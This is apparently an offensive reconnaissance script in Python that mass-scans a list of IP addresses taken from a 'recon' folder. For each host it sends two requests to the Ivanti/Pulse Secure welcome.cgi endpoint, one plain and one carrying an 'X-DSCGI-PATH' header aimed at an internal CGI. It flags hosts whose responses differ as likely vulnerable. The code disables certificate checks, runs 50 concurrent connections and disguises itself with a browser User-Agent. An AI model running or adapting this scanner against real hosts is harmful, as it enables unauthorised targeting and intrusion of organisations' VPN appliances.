import asyncio
import hashlib

import aiohttp

SRC = "/root/recon/ivanti_real.txt"
OUT = "/root/recon/dscgi_test.tsv"
URL = "https://%s/dana-na/auth/url_default/welcome.cgi"
HDR = {"X-DSCGI-PATH": "/home/webserver/htdocs/dana/fb/smb/wu.cgi"}
CONC = 50


async def fetch(sess, url, hdr):
    async with sess.get(url, ssl=False, allow_redirects=True, headers=hdr) as r:
        b = await r.read()
        return r.status, hashlib.md5(b).hexdigest()[:10], len(b)


async def one(sess, ip, sem):
    async with sem:
        try:
            s0, h0, l0 = await fetch(sess, URL % ip, {})
            s1, h1, l1 = await fetch(sess, URL % ip, HDR)
            flag = "DIFF" if h0 != h1 else "same"
            return "%s\t%d\t%s\t%d\t%s\t%d\t%s\n" % (ip, s0, h0, s1, h1, l1, flag)
        except Exception as e:
            return "%s\tERR\t%s\n" % (ip, type(e).__name__)


async def main():
    ips = [l.strip() for l in open(SRC) if l.strip()]
    sem = asyncio.Semaphore(CONC)
    conn = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)
    to = aiohttp.ClientTimeout(total=15, connect=6, sock_read=10)
    out = open(OUT, "w")
    async with aiohttp.ClientSession(timeout=to, connector=conn,
                                     headers={"User-Agent": "Mozilla/5.0"}) as sess:
        res = await asyncio.gather(*[one(sess, ip, sem) for ip in ips])
    out.writelines(res)
    out.close()
    print("done", len(res))


asyncio.run(main())
